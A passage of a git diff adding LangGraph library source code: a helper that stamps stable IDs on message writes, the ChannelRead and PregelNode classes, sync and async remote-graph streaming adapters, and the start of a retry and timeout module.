+# that identify a dict as a message. Checked before coercing to BaseMessage so
+# we don't accidentally touch unrelated dicts that happen to have a "role" key.
+_MESSAGE_ROLES: frozenset[str] = frozenset(
+    {"user", "human", "assistant", "ai", "tool", "system", "function"}
+)
+_MESSAGE_TYPES: frozenset[str] = frozenset(
+    {"human", "ai", "tool", "system", "function", "remove"}
+)
+
+
+def _is_message_dict(item: dict) -> bool:
+    return item.get("role") in _MESSAGE_ROLES or item.get("type") in _MESSAGE_TYPES
+
+
+def ensure_message_ids(value: Any) -> None:
+    """Coerce message-like write values to typed BaseMessages with stable IDs.
+
+    Called in put_writes() before DeltaChannel writes are submitted to the
+    checkpointer. Without this the checkpoint may store raw dicts or id=None
+    BaseMessages; every get_state() replay then produces a different UUID and
+    the same message appears with a different ID in each LangSmith trace.
+
+    Handles three input shapes:
+    - BaseMessage objects: assign a UUID if id is None.
+    - Dicts with a known "role" (OpenAI-style) or "type" (LangChain format) at
+      the root level: stamp "id" into the dict in-place. The reducer's
+      convert_to_messages call will forward the id to the resulting BaseMessage.
+    - Lists of the above: apply the same logic to each element, replacing dict
+      items with coerced BaseMessages so the shared list reference seen by
+      checkpoint_pending_writes and the background thread both get typed messages.
+
+    Mutating synchronously here (before the background thread is submitted) is
+    safe: the serialised bytes always reflect the post-coercion state.
+    """
+    if isinstance(value, BaseMessage):
+        if value.id is None:
+            value.id = str(uuid4())
+    elif isinstance(value, dict) and _is_message_dict(value):
+        if not value.get("id"):
+            value["id"] = str(uuid4())
+    elif isinstance(value, list):
+        for i, item in enumerate(value):
+            if isinstance(item, BaseMessage):
+                if item.id is None:
+                    item.id = str(uuid4())
+            elif isinstance(item, dict) and _is_message_dict(item):
+                msg = convert_to_messages([item])[0]
+                if msg.id is None:
+                    msg.id = str(uuid4())
+                value[i] = msg
diff --git a/libs/langgraph/langgraph/pregel/_read.py b/libs/langgraph/langgraph/pregel/_read.py
new file mode 100644
index 0000000..7d49fce
--- /dev/null
+++ b/libs/langgraph/langgraph/pregel/_read.py
@@ -0,0 +1,298 @@
+from __future__ import annotations
+
+from collections.abc import AsyncIterator, Callable, Iterator, Mapping, Sequence
+from datetime import timedelta
+from functools import cached_property
+from typing import (
+    Any,
+)
+
+from langchain_core.runnables import Runnable, RunnableConfig
+
+from langgraph._internal._config import merge_configs
+from langgraph._internal._constants import CONF, CONFIG_KEY_READ
+from langgraph._internal._runnable import RunnableCallable, RunnableSeq
+from langgraph._internal._timeout import coerce_timeout_policy
+from langgraph.pregel._utils import find_subgraph_pregel
+from langgraph.pregel._write import ChannelWrite
+from langgraph.pregel.protocol import PregelProtocol
+from langgraph.types import CachePolicy, RetryPolicy, TimeoutPolicy
+
+READ_TYPE = Callable[[str | Sequence[str], bool], Any | dict[str, Any]]
+INPUT_CACHE_KEY_TYPE = tuple[Callable[..., Any], tuple[str, ...]]
+
+
+class ChannelRead(RunnableCallable):
+    """Implements the logic for reading state from CONFIG_KEY_READ.
+    Usable both as a runnable as well as a static method to call imperatively."""
+
+    channel: str | list[str]
+
+    fresh: bool = False
+
+    mapper: Callable[[Any], Any] | None = None
+
+    def __init__(
+        self,
+        channel: str | list[str],
+        *,
+        fresh: bool = False,
+        mapper: Callable[[Any], Any] | None = None,
+        tags: list[str] | None = None,
+    ) -> None:
+        super().__init__(
+            func=self._read,
+            afunc=self._aread,
+            tags=tags,
+            name=None,
+            trace=False,
+        )
+        self.fresh = fresh
+        self.mapper = mapper
+        self.channel = channel
+
+    def get_name(self, suffix: str | None = None, *, name: str | None = None) -> str:
+        if name:
+            pass
+        elif isinstance(self.channel, str):
+            name = f"ChannelRead<{self.channel}>"
+        else:
+            name = f"ChannelRead<{','.join(self.channel)}>"
+        return super().get_name(suffix, name=name)
+
+    def _read(self, _: Any, config: RunnableConfig) -> Any:
+        return self.do_read(
+            config, select=self.channel, fresh=self.fresh, mapper=self.mapper
+        )
+
+    async def _aread(self, _: Any, config: RunnableConfig) -> Any:
+        return self.do_read(
+            config, select=self.channel, fresh=self.fresh, mapper=self.mapper
+        )
+
+    @staticmethod
+    def do_read(
+        config: RunnableConfig,
+        *,
+        select: str | list[str],
+        fresh: bool = False,
+        mapper: Callable[[Any], Any] | None = None,
+    ) -> Any:
+        try:
+            read: READ_TYPE = config[CONF][CONFIG_KEY_READ]
+        except KeyError:
+            raise RuntimeError(
+                "Not configured with a read function"
+                "Make sure to call in the context of a Pregel process"
+            )
+        if mapper:
+            return mapper(read(select, fresh))
+        else:
+            return read(select, fresh)
+
+
+DEFAULT_BOUND = RunnableCallable(lambda input: input)
+
+
+class PregelNode:
+    """A node in a Pregel graph. This won't be invoked as a runnable by the graph
+    itself, but instead acts as a container for the components necessary to make
+    a PregelExecutableTask for a node."""
+
+    channels: str | list[str]
+    """The channels that will be passed as input to `bound`.
+    If a str, the node will be invoked with its value if it isn't empty.
+    If a list, the node will be invoked with a dict of those channels' values."""
+
+    triggers: list[str]
+    """If any of these channels is written to, this node will be triggered in
+    the next step."""
+
+    mapper: Callable[[Any], Any] | None
+    """A function to transform the input before passing it to `bound`."""
+
+    writers: list[Runnable]
+    """A list of writers that will be executed after `bound`, responsible for
+    taking the output of `bound` and writing it to the appropriate channels."""
+
+    bound: Runnable[Any, Any]
+    """The main logic of the node. This will be invoked with the input from 
+    `channels`."""
+
+    retry_policy: Sequence[RetryPolicy] | None
+    """The retry policies to use when invoking the node."""
+
+    cache_policy: CachePolicy | None
+    """The cache policy to use when invoking the node."""
+
+    timeout: TimeoutPolicy | None
+    """Timeout policy for a single invocation.
+
+    If exceeded, `NodeTimeoutError` is raised and the retry policy (if any)
+    decides whether to retry. Supported only for async nodes.
+    """
+
+    tags: Sequence[str] | None
+    """Tags to attach to the node for tracing."""
+
+    metadata: Mapping[str, Any] | None
+    """Metadata to attach to the node for tracing."""
+
+    is_error_handler: bool
+    """Whether this node is registered as an error handler node."""
+
+    error_handler_node: str | None
+    """Optional handler node name for failures from this node."""
+
+    subgraphs: Sequence[PregelProtocol]
+    """Subgraphs used by the node."""
+
+    def __init__(
+        self,
+        *,
+        channels: str | list[str],
+        triggers: Sequence[str],
+        mapper: Callable[[Any], Any] | None = None,
+        writers: list[Runnable] | None = None,
+        tags: list[str] | None = None,
+        metadata: Mapping[str, Any] | None = None,
+        bound: Runnable[Any, Any] | None = None,
+        retry_policy: RetryPolicy | Sequence[RetryPolicy] | None = None,
+        cache_policy: CachePolicy | None = None,
+        is_error_handler: bool = False,
+        error_handler_node: str | None = None,
+        subgraphs: Sequence[PregelProtocol] | None = None,
+        timeout: float | timedelta | TimeoutPolicy | None = None,
+    ) -> None:
+        self.channels = channels
+        self.triggers = list(triggers)
+        self.mapper = mapper
+        self.writers = writers or []
+        self.bound = bound if bound is not None else DEFAULT_BOUND
+        self.cache_policy = cache_policy
+        if isinstance(retry_policy, RetryPolicy):
+            self.retry_policy = (retry_policy,)
+        else:
+            self.retry_policy = retry_policy
+        self.timeout = coerce_timeout_policy(timeout)
+        self.tags = tags
+        self.metadata = metadata
+        self.is_error_handler = is_error_handler
+        self.error_handler_node = error_handler_node
+        if subgraphs is not None:
+            self.subgraphs = subgraphs
+        elif self.bound is not DEFAULT_BOUND:
+            try:
+                subgraph = find_subgraph_pregel(self.bound)
+            except Exception:
+                subgraph = None
+            if subgraph:
+                self.subgraphs = [subgraph]
+            else:
+                self.subgraphs = []
+        else:
+            self.subgraphs = []
+
+    def copy(self, update: dict[str, Any]) -> PregelNode:
+        attrs = {**self.__dict__, **update}
+        # Drop the cached properties
+        attrs.pop("flat_writers", None)
+        attrs.pop("node", None)
+        attrs.pop("input_cache_key", None)
+        return PregelNode(**attrs)
+
+    @cached_property
+    def flat_writers(self) -> list[Runnable]:
+        """Get writers with optimizations applied. Dedupes consecutive ChannelWrites."""
+        writers = self.writers.copy()
+        while (
+            len(writers) > 1
+            and isinstance(writers[-1], ChannelWrite)
+            and isinstance(writers[-2], ChannelWrite)
+        ):
+            # we can combine writes if they are consecutive
+            # careful to not modify the original writers list or ChannelWrite
+            writers[-2] = ChannelWrite(
+                writes=writers[-2].writes + writers[-1].writes,
+            )
+            writers.pop()
+        return writers
+
+    @cached_property
+    def node(self) -> Runnable[Any, Any] | None:
+        """Get a runnable that combines `bound` and `writers`."""
+        writers = self.flat_writers
+        if self.bound is DEFAULT_BOUND and not writers:
+            return None
+        elif self.bound is DEFAULT_BOUND and len(writers) == 1:
+            return writers[0]
+        elif self.bound is DEFAULT_BOUND:
+            return RunnableSeq(*writers)
+        elif writers:
+            return RunnableSeq(self.bound, *writers)
+        else:
+            return self.bound
+
+    @cached_property
+    def input_cache_key(self) -> INPUT_CACHE_KEY_TYPE:
+        """Get a cache key for the input to the node.
+        This is used to avoid calculating the same input multiple times."""
+        return (
+            self.mapper,
+            tuple(self.channels)
+            if isinstance(self.channels, list)
+            else (self.channels,),
+        )
+
+    def invoke(
+        self,
+        input: Any,
+        config: RunnableConfig | None = None,
+        **kwargs: Any | None,
+    ) -> Any:
+        self_config: RunnableConfig = {"metadata": self.metadata, "tags": self.tags}
+        return self.bound.invoke(
+            input,
+            merge_configs(self_config, config),
+            **kwargs,
+        )
+
+    async def ainvoke(
+        self,
+        input: Any,
+        config: RunnableConfig | None = None,
+        **kwargs: Any | None,
+    ) -> Any:
+        self_config: RunnableConfig = {"metadata": self.metadata, "tags": self.tags}
+        return await self.bound.ainvoke(
+            input,
+            merge_configs(self_config, config),
+            **kwargs,
+        )
+
+    def stream(
+        self,
+        input: Any,
+        config: RunnableConfig | None = None,
+        **kwargs: Any | None,
+    ) -> Iterator[Any]:
+        self_config: RunnableConfig = {"metadata": self.metadata, "tags": self.tags}
+        yield from self.bound.stream(
+            input,
+            merge_configs(self_config, config),
+            **kwargs,
+        )
+
+    async def astream(
+        self,
+        input: Any,
+        config: RunnableConfig | None = None,
+        **kwargs: Any | None,
+    ) -> AsyncIterator[Any]:
+        self_config: RunnableConfig = {"metadata": self.metadata, "tags": self.tags}
+        async for item in self.bound.astream(
+            input,
+            merge_configs(self_config, config),
+            **kwargs,
+        ):
+            yield item
diff --git a/libs/langgraph/langgraph/pregel/_remote_run_stream.py b/libs/langgraph/langgraph/pregel/_remote_run_stream.py
new file mode 100644
index 0000000..2e6cd1e
--- /dev/null
+++ b/libs/langgraph/langgraph/pregel/_remote_run_stream.py
@@ -0,0 +1,374 @@
+# libs/langgraph/langgraph/pregel/_remote_run_stream.py
+from __future__ import annotations
+
+import logging
+import sys
+from collections.abc import AsyncIterator, Iterator, Mapping
+from types import TracebackType
+from typing import Any, cast
+
+from langchain_core.runnables import RunnableConfig
+from langgraph_sdk._async.stream import AsyncThreadStream
+from langgraph_sdk._sync.stream import SyncThreadStream
+from langgraph_sdk.client import LangGraphClient, SyncLangGraphClient
+from langgraph_sdk.stream.decoders import DataDecoder
+
+from langgraph.types import Command
+
+logger = logging.getLogger(__name__)
+
+
+def _translate_command_input(input: Any) -> Any:
+    """Translate a local `Command` into the v3 wire `input`, else passthrough.
+
+    The v3 server decides start-vs-resume from thread state (an interrupted
+    run or pending interrupts) and, on resume, wraps the whole `input` as
+    `{"resume": input}` itself. So a resume `Command` must surface its raw
+    `resume` value as the wire `input` (not the serialized dataclass, which
+    the server would double-wrap). The v3 `run.start` path has no `goto` /
+    `update` channel, so those are rejected.
+
+    `langgraph_sdk` is upstream of `langgraph`, so this `Command`-aware
+    marshalling lives here on the adapter (langgraph) side of the boundary.
+    """
+    if isinstance(input, Command):
+        if input.goto or input.update:
+            raise NotImplementedError(
+                "RemoteGraph v3 streaming supports `Command(resume=...)` only; "
+                "`goto` / `update` are not supported by the v3 `run.start` path."
+            )
+        return input.resume
+    return input
+
+
+class _ChannelProjection:
+    """Decoded projection for a wire channel the SDK doesn't type natively.
+
+    Subscribes to `channel` and decodes each event's `params["data"]` through the
+    SDK's `DataDecoder` — the same decoder the SDK's own plain-payload projections
+    (`values` / `updates` / `checkpoints` / `tasks`) use, which yields the item
+    shape that local's `UpdatesTransformer` / `CheckpointsTransformer` /
+    `TasksTransformer` / `CustomTransformer` push, so iterating this matches the
+    corresponding local projection. Iterate with `for` against a sync stream and
+    `async for` against an async stream (matching the underlying SDK). Opening
+    the subscription requires the stream to be entered (`with` / `async with`).
+    """
+
+    def __init__(self, sdk: AsyncThreadStream | SyncThreadStream, channel: str) -> None:
+        self._sdk = sdk
+        self._channel = channel
+
+    def __iter__(self) -> Iterator[Any]:
+        # Sync lane: the sync adapter's SDK returns a sync iterator here.
+        decoder = DataDecoder(self._channel)
+        events = cast(Iterator[Any], self._sdk.subscribe([self._channel]))
+        for event in events:
+            yield from decoder.feed(event)
+
+    def __aiter__(self) -> AsyncIterator[Any]:
+        return self._aiter()
+
+    async def _aiter(self) -> AsyncIterator[Any]:
+        # Async lane: the async adapter's SDK returns an async iterator here.
+        decoder = DataDecoder(self._channel)
+        events = cast(AsyncIterator[Any], self._sdk.subscribe([self._channel]))
+        async for event in events:
+            for item in decoder.feed(event):
+                yield item
+
+
+class _ProjectionRegistry(Mapping[str, Any]):
+    """Read-only name -> projection registry mirroring local `GraphRunStream.extensions`.
+
+    Resolution follows the langchain-protocol wire channels, and every entry
+    yields the same decoded item shape local does (`params.data`):
+
+    - `values` / `messages` / `tool_calls` / `subgraphs` resolve to the SDK's
+      decoded typed projections. `tool_calls` is the `tools` channel — tool
+      *execution* events, distinct from the tool-call *inputs* inside `messages`.
+    - `updates` / `checkpoints` / `tasks` / `custom` have no typed SDK
+      projection, so they resolve to a `_ChannelProjection` that subscribes to
+      the channel and yields `params.data` — matching the local transformer
+      output for those channels.
+    - any other name is a specific custom-extension channel
+      (`thread.extensions[name]`, i.e. `custom:`).
+
+    `lifecycle` is intentionally absent: local derives a status payload from it
+    rather than yielding `params.data`, and the SDK consumes it as control-plane
+    (driving `output` / `interrupted`), so its shape can't be matched — it
+    remains reachable via the raw `events` iterator. `debug` is absent too: it
+    is not a v3 wire channel.
+    """
+
+    # Channels the SDK decodes into typed projections.
+    _TYPED = ("values", "messages", "tool_calls", "subgraphs")
+    # Wire channels with no typed SDK projection — decoded here to match local.
+    _DECODED = ("updates", "checkpoints", "tasks", "custom")
+    _NATIVE = _TYPED + _DECODED
+
+    def __init__(self, sdk: AsyncThreadStream | SyncThreadStream) -> None:
+        self._sdk = sdk
+
+    def __getitem__(self, name: str) -> Any:
+        if name in self._TYPED:
+            return getattr(self._sdk, name)
+        if name in self._DECODED:
+            return _ChannelProjection(self._sdk, name)
+        return self._sdk.extensions[name]
+
+    def __iter__(self) -> Iterator[str]:
+        return iter(self._NATIVE)
+
+    def __len__(self) -> int:
+        return len(self._NATIVE)
+
+
+class _RemoteGraphRunStream:
+    """Sync adapter: SyncThreadStream -> GraphRunStream surface."""
+
+    def __init__(
+        self,
+        *,
+        sync_client: SyncLangGraphClient,
+        sdk_thread: SyncThreadStream,
+        input: Any,
+        config: RunnableConfig | None,
+        metadata: dict[str, Any] | None,
+    ) -> None:
+        self._client = sync_client
+        self._sdk = sdk_thread
+        self._start_kwargs: dict[str, Any] = {
+            "input": _translate_command_input(input),
+            "config": config,
+            "metadata": metadata,
+        }
+        self._run_id: str | None = None
+        self._closed = False
+        self._events_iter: Iterator[Any] | None = None
+
+    def __enter__(self) -> _RemoteGraphRunStream:
+        if self._closed:
+            raise RuntimeError("_RemoteGraphRunStream already closed")
+        self._sdk.__enter__()
+        try:
+            result = self._sdk.run.start(**self._start_kwargs)
+        except BaseException:
+            self._sdk.__exit__(*sys.exc_info())
+            raise
+        self._run_id = result["run_id"]
+        return self
+
+    def __exit__(
+        self,
+        exc_type: type[BaseException] | None,
+        exc: BaseException | None,
+        tb: TracebackType | None,
+    ) -> None:
+        if self._closed:
+            return
+        self._closed = True
+        self._sdk.__exit__(exc_type, exc, tb)
+
+    @property
+    def output(self) -> Any:
+        return self._sdk.output
+
+    @property
+    def interrupted(self) -> bool:
+        """Whether the remote run is currently paused at an interrupt.
+
+        Reads the SDK's current value without blocking. This differs from
+        local `GraphRunStream.interrupted`, which drives the run to terminal
+        before returning the flag. Sync callers needing a wait-for-interrupt
+        pattern should switch to the async API and drain a projection.
+        """
+        return self._sdk.interrupted
+
+    @property
+    def interrupts(self) -> list[Any]:
+        """Current outstanding interrupt payloads (non-blocking snapshot)."""
+        return list(self._sdk.interrupts)
+
+    @property
+    def values(self) -> Any:
+        """Live state-snapshot projection (mirrors local `run.values`)."""
+        return self._sdk.values
+
+    @property
+    def messages(self) -> Any:
+        """Live message-stream projection (mirrors local `run.messages`)."""
+        return self._sdk.messages
+
+    @property
+    def subgraphs(self) -> Any:
+        """Subgraph-handle projection (mirrors local `run.subgraphs`)."""
+        return self._sdk.subgraphs
+
+    @property
+    def tool_calls(self) -> Any:
+        """Tool-execution projection (the `tools` channel).
+
+        These are tool *execution* events (started / output / finished),
+        distinct from the tool-call *inputs* carried inside `messages`.
+        """
+        return self._sdk.tool_calls
+
+    @property
+    def extensions(self) -> Mapping[str, Any]:
+        """Name -> projection registry (mirrors local `run.extensions`)."""
+        return _ProjectionRegistry(self._sdk)
+
+    def abort(self) -> None:
+        if self._closed:
+            return
+        self._closed = True
+        if self._run_id is not None:
+            try:
+                self._client.runs.cancel(self._sdk.thread_id, self._run_id, wait=False)
+            except Exception:
+                logger.debug("abort: runs.cancel failed", exc_info=True)
+        try:
+            self._sdk.close()
+        except Exception:
+            logger.debug("abort: sdk.close failed", exc_info=True)
+
+    def __iter__(self) -> Iterator[Any]:
+        if self._events_iter is None:
+            self._events_iter = iter(self._sdk.events)
+        return self._events_iter
+
+    def interleave(self, *names: str) -> Iterator[tuple[str, Any]]:
+        yield from self._sdk.interleave_projections(list(names))
+
+
+class _AsyncRemoteGraphRunStream:
+    """Async adapter: AsyncThreadStream -> AsyncGraphRunStream surface."""
+
+    def __init__(
+        self,
+        *,
+        client: LangGraphClient,
+        sdk_thread: AsyncThreadStream,
+        input: Any,
+        config: RunnableConfig | None,
+        metadata: dict[str, Any] | None,
+    ) -> None:
+        self._client = client
+        self._sdk = sdk_thread
+        self._start_kwargs: dict[str, Any] = {
+            "input": _translate_command_input(input),
+            "config": config,
+            "metadata": metadata,
+        }
+        self._run_id: str | None = None
+        self._closed = False
+        self._events_aiter: AsyncIterator[Any] | None = None
+
+    async def __aenter__(self) -> _AsyncRemoteGraphRunStream:
+        if self._closed:
+            raise RuntimeError("_AsyncRemoteGraphRunStream already closed")
+        await self._sdk.__aenter__()
+        try:
+            result = await self._sdk.run.start(**self._start_kwargs)
+        except BaseException:
+            await self._sdk.__aexit__(*sys.exc_info())
+            raise
+        self._run_id = result["run_id"]
+        return self
+
+    async def __aexit__(
+        self,
+        exc_type: type[BaseException] | None,
+        exc: BaseException | None,
+        tb: TracebackType | None,
+    ) -> None:
+        if self._closed:
+            return
+        self._closed = True
+        await self._sdk.__aexit__(exc_type, exc, tb)
+
+    async def output(self) -> Any:
+        """Drive the remote run to completion and return the final state.
+
+        Awaits the SDK's terminal-state awaitable, matching local
+        `AsyncGraphRunStream.output()` (a method, not a property, so
+        `run.output` without `await` fails at type-check time rather than
+        silently yielding a coroutine).
+        """
+        return await self._sdk.output
+
+    async def interrupted(self) -> bool:
+        """Whether the remote run is currently paused at an interrupt.
+
+        Reads the SDK's current value without blocking. This differs from
+        local `AsyncGraphRunStream.interrupted()`, which drives the run to
+        terminal before returning the flag. Callers that need a
+        wait-for-interrupt pattern should drain a projection (e.g.,
+        `async for snap in stream._sdk.values`) until the SDK's paused
+        sentinel fires, then call this method.
+        """
+        return self._sdk.interrupted
+
+    async def interrupts(self) -> list[Any]:
+        """Current outstanding interrupt payloads.
+
+        Non-blocking; reads the SDK's current snapshot. See `interrupted`
+        for the divergence from local v3 semantics.
+        """
+        return list(self._sdk.interrupts)
+
+    @property
+    def values(self) -> Any:
+        """Live state-snapshot projection (mirrors local `run.values`)."""
+        return self._sdk.values
+
+    @property
+    def messages(self) -> Any:
+        """Live message-stream projection (mirrors local `run.messages`)."""
+        return self._sdk.messages
+
+    @property
+    def subgraphs(self) -> Any:
+        """Subgraph-handle projection (mirrors local `run.subgraphs`)."""
+        return self._sdk.subgraphs
+
+    @property
+    def tool_calls(self) -> Any:
+        """Tool-execution projection (the `tools` channel).
+
+        These are tool *execution* events (started / output / finished),
+        distinct from the tool-call *inputs* carried inside `messages`.
+        """
+        return self._sdk.tool_calls
+
+    @property
+    def extensions(self) -> Mapping[str, Any]:
+        """Name -> projection registry (mirrors local `run.extensions`)."""
+        return _ProjectionRegistry(self._sdk)
+
+    async def abort(self) -> None:
+        if self._closed:
+            return
+        self._closed = True
+        if self._run_id is not None:
+            try:
+                await self._client.runs.cancel(
+                    self._sdk.thread_id, self._run_id, wait=False
+                )
+            except Exception:
+                logger.debug("abort: runs.cancel failed", exc_info=True)
+        try:
+            await self._sdk.close()
+        except Exception:
+            logger.debug("abort: sdk.close failed", exc_info=True)
+
+    def __aiter__(self) -> AsyncIterator[Any]:
+        if self._events_aiter is None:
+            self._events_aiter = self._sdk.events.__aiter__()
+        return self._events_aiter
+
+    # Note: deliberately no `interleave()` on the async adapter. Local
+    # `AsyncGraphRunStream` doesn't have one either (async callers compose
+    # with `asyncio.gather` / `asyncio.as_completed`). The sync adapter
+    # provides `interleave()` because sync callers have no comparable
+    # primitive for iterating multiple iterators concurrently.
diff --git a/libs/langgraph/langgraph/pregel/_retry.py b/libs/langgraph/langgraph/pregel/_retry.py
new file mode 100644
index 0000000..ecd4850
--- /dev/null
+++ b/libs/langgraph/langgraph/pregel/_retry.py
@@ -0,0 +1,854 @@
+from __future__ import annotations
+
+import asyncio
+import logging
+import random
+import sys
+import threading
+import time
+import weakref
+from collections.abc import Awaitable, Callable, Sequence
+from contextlib import suppress
+from dataclasses import dataclass, replace
+from datetime import datetime, timedelta, timezone
+from typing import Any, Literal, NamedTuple
+
+from langchain_core.callbacks import BaseCallbackHandler
+from langchain_core.runnables import RunnableConfig
+
+from langgraph._internal._config import (
+    merge_configs,
+    patch_configurable,
+    recast_checkpoint_ns,
+)
+from langgraph._internal._constants import (
+    CONF,
+    CONFIG_KEY_CALL,
+    CONFIG_KEY_CHECKPOINT_ID,
+    CONFIG_KEY_CHECKPOINT_NS,
+    CONFIG_KEY_RESUMING,
+    CONFIG_KEY_RUNTIME,
+    CONFIG_KEY_SEND,
+    CONFIG_KEY_STREAM,
+    CONFIG_KEY_TASK_ID,
+    CONFIG_KEY_THREAD_ID,
+    CONFIG_KEY_TIMED_ATTEMPT_OBSERVER,
+    NS_SEP,
+)
+from langgraph._internal._runnable import create_task_in_config_context
+from langgraph._internal._timeout import sync_timeout_unsupported
+from langgraph.errors import (
+    GraphBubbleUp,
+    NodeCancelledError,
+    NodeTimeoutError,
+    ParentCommand,
+)
+from langgraph.pregel.protocol import StreamProtocol
+from langgraph.runtime import ExecutionInfo, Runtime
+from langgraph.types import Command, PregelExecutableTask, RetryPolicy, TimeoutPolicy
+
+logger = logging.getLogger(__name__)
+SUPPORTS_EXC_NOTES = sys.version_info >= (3, 11)
+# `asyncio.Task.cancelling()` was added in Python 3.11. It reports the number of
+# pending cancel requests on the task: ``0`` means no external code asked us to
+# cancel — so a ``CancelledError`` observed here was raised by the task body
+# itself (the user's node) rather than by pregel cancelling sibling tasks.
+SUPPORTS_TASK_CANCELLING = sys.version_info >= (3, 11)
+
+
+def _timeout_secs(value: float | timedelta) -> float:
+    return value.total_seconds() if isinstance(value, timedelta) else value
+
+
+@dataclass(frozen=True, slots=True)
+class _ResolvedTimeout:
+    run_timeout_secs: float | None
+    idle_timeout_secs: float | None
+    refresh_on: Literal["auto", "heartbeat"] | None
+
+
+def _resolve_timeout(timeout: TimeoutPolicy) -> _ResolvedTimeout:
+    idle_timeout_secs = (
+        _timeout_secs(timeout.idle_timeout)
+        if timeout.idle_timeout is not None
+        else None
+    )
+    return _ResolvedTimeout(
+        run_timeout_secs=(
+            _timeout_secs(timeout.run_timeout)
+            if timeout.run_timeout is not None
+            else None
+        ),
+        idle_timeout_secs=idle_timeout_secs,
+        refresh_on=timeout.refresh_on if idle_timeout_secs is not None else None,
+    )
+
+
+class _AttemptContext(NamedTuple):
+    """Immutable per-attempt metadata shared across start/progress/finish events.
+
+    Built once at attempt start and referenced (not copied) by every emitted
+    `_AttemptEvent`, so per-event allocation is just the small event wrapper.
+
+    Intentionally underscore-prefixed: this and `_AttemptEvent` are part of an
+    internal observer contract consumed by langgraph-server. Do not move to
+    `langgraph.types` — server imports them by this path.
+    """
+
+    task_id: str
+    task_name: str
+    attempt: int
+    run_id: str | None
+    thread_id: str | None
+    checkpoint_ns: str | None
+    started_at: datetime
+    run_timeout_secs: float | None
+    idle_timeout_secs: float | None
+    refresh_on: Literal["auto", "heartbeat"] | None
+
+
+@dataclass(frozen=True, slots=True)
+class _AttemptEvent:
+    """One lifecycle event for a timed attempt.
+
+    Holds a reference to the shared `_AttemptContext` and the event-specific
+    fields. The observer must treat this and `context` as read-only — they
+    are reused across all events for the same attempt.
+    """
+
+    context: _AttemptContext
+    event: Literal["start", "progress", "finish"]
+    progress_at: datetime | None = None
+    finished_at: datetime | None = None
+    status: Literal["success", "error"] | None = None
+    error_type: str | None = None
+    error_message: str | None = None
+
+
+class _TimedAttemptScope:
+    """Guarded-config window for timed attempts.
+
+    The wrapped config marks writes, stream events, runtime stream writer calls,
+    child task scheduling, and any LangChain callback event emitted under the
+    node's run as observable progress when `refresh_on="auto"`.
+    `runtime.heartbeat()` exposes a manual progress signal for work that doesn't
+    otherwise emit any of these, and is the only progress signal when
+    `refresh_on="heartbeat"`.
+    Guarded writes are serialized with `close()` so cancelled background tasks
+    cannot persist writes past the timeout boundary. Stream/custom output is
+    best-effort: it is dropped after close is observed, but callbacks run outside
+    the lock because they may contain arbitrary user/runtime code.
+    """
+
+    __slots__ = (
+        "__weakref__",
+        "_active",
+        "_last_progress",
+        "_last_progress_emit",
+        "_lock",
+        "_on_progress",
+        "_progress_min_interval",
+        "_refresh_on",
+    )
+
+    def __init__(
+        self,
+        on_progress: Callable[[], None] | None = None,
+        progress_min_interval: float = 0.0,
+        refresh_on: Literal["auto", "heartbeat"] | None = None,
+    ) -> None:
+        self._active = True
+        self._last_progress = time.monotonic()
+        self._lock = threading.Lock()
+        self._on_progress = on_progress
+        self._progress_min_interval = progress_min_interval
+        self._refresh_on = refresh_on
+        # `-inf` so the first touch always passes the rate-limit gate.
+        self._last_progress_emit: float = float("-inf")
+
+    def wrap_config(self, config: RunnableConfig) -> RunnableConfig:
+        configurable = config.get(CONF, {})
+        patch: dict[str, Any] = {}
+        if (send := configurable.get(CONFIG_KEY_SEND)) is not None:
+            patch[CONFIG_KEY_SEND] = self._guard_send(send)
+        if (stream := configurable.get(CONFIG_KEY_STREAM)) is not None:
+            patch[CONFIG_KEY_STREAM] = self._guard_stream(stream)
+        if (call := configurable.get(CONFIG_KEY_CALL)) is not None:
+            patch[CONFIG_KEY_CALL] = self._guard_call(call)
+        if isinstance(runtime := configurable.get(CONFIG_KEY_RUNTIME), Runtime):
+            if self._refresh_on is not None:
+                patch[CONFIG_KEY_RUNTIME] = runtime.override(
+                    stream_writer=self._guard_stream_writer(runtime.stream_writer),
+                    heartbeat=self.touch,
+                )
+            else:
+                patch[CONFIG_KEY_RUNTIME] = runtime.override(
+                    stream_writer=self._guard_stream_writer(runtime.stream_writer)
+                )
+        new_config = patch_configurable(config, patch) if patch else config
+        if self._refresh_on == "auto":
+            return merge_configs(
+                new_config, {"callbacks": [_IdleProgressCallbackHandler(self)]}
+            )
+        return new_config
+
+    def touch(self) -> None:
+        # Avoid locking this hot progress path. We accept a small race window in
+        # timestamp ordering because idle_timeout is expected to be coarse compared
+        # with scheduler/thread timing.
+        now = time.monotonic()
+        self._last_progress = now
+        if self._on_progress is None:
+            return
+        # Best-effort rate limit: a benign race may emit a duplicate progress
+        # event under heavy concurrency, which observers must already tolerate
+        # (callbacks fire from arbitrary threads).
+        if now - self._last_progress_emit < self._progress_min_interval:
+            return
+        self._last_progress_emit = now
+        self._on_progress()
+
+    def close(self) -> None:
+        with self._lock:
+            self._active = False
+
+    async def wait_for_idle_timeout(self, idle_timeout_s: float) -> None:
+        while True:
+            with self._lock:
+                if not self._active:
+                    return
+                remaining = self._last_progress + idle_timeout_s - time.monotonic()
+            if remaining <= 0:
+                raise asyncio.TimeoutError
+            await asyncio.sleep(remaining)
+
+    def _guard_send(
+        self, send: Callable[[Sequence[tuple[str, Any]]], None]
+    ) -> Callable[[Sequence[tuple[str, Any]]], None]:
+        def guarded_send(writes: Sequence[tuple[str, Any]]) -> None:
+            with self._lock:
+                if self._active:
+                    if writes and self._refresh_on == "auto":
+                        self._last_progress = time.monotonic()
+                    send(writes)
+
+        return guarded_send
+
+    def _guard_stream(self, stream: StreamProtocol) -> StreamProtocol:
+        # No lock: stream callbacks fire from the event loop only, so the
+        # active-check + write happen atomically between awaits.
+        def guarded_stream(chunk: tuple[tuple[str, ...], str, Any]) -> None:
+            if not self._active:
+                return
+            if self._refresh_on == "auto":
+                self._last_progress = time.monotonic()
+            stream(chunk)
+
+        return StreamProtocol(guarded_stream, stream.modes)
+
+    def _guard_call(self, call: Callable[..., Any]) -> Callable[..., Any]:
+        # No lock: child-task scheduling happens from the event loop only.
+        def guarded_call(*args: Any, **kwargs: Any) -> Any:
+            if not self._active:
+                raise asyncio.CancelledError
+            if self._refresh_on == "auto":
+                self._last_progress = time.monotonic()
+            return call(*args, **kwargs)
+
+        return guarded_call
+
+    def _guard_stream_writer(
+        self, stream_writer: Callable[[Any], None]
+    ) -> Callable[[Any], None]:
+        def guarded_stream_writer(chunk: Any) -> None:
+            with self._lock:
+                if not self._active:
+                    return
+                if self._refresh_on == "auto":
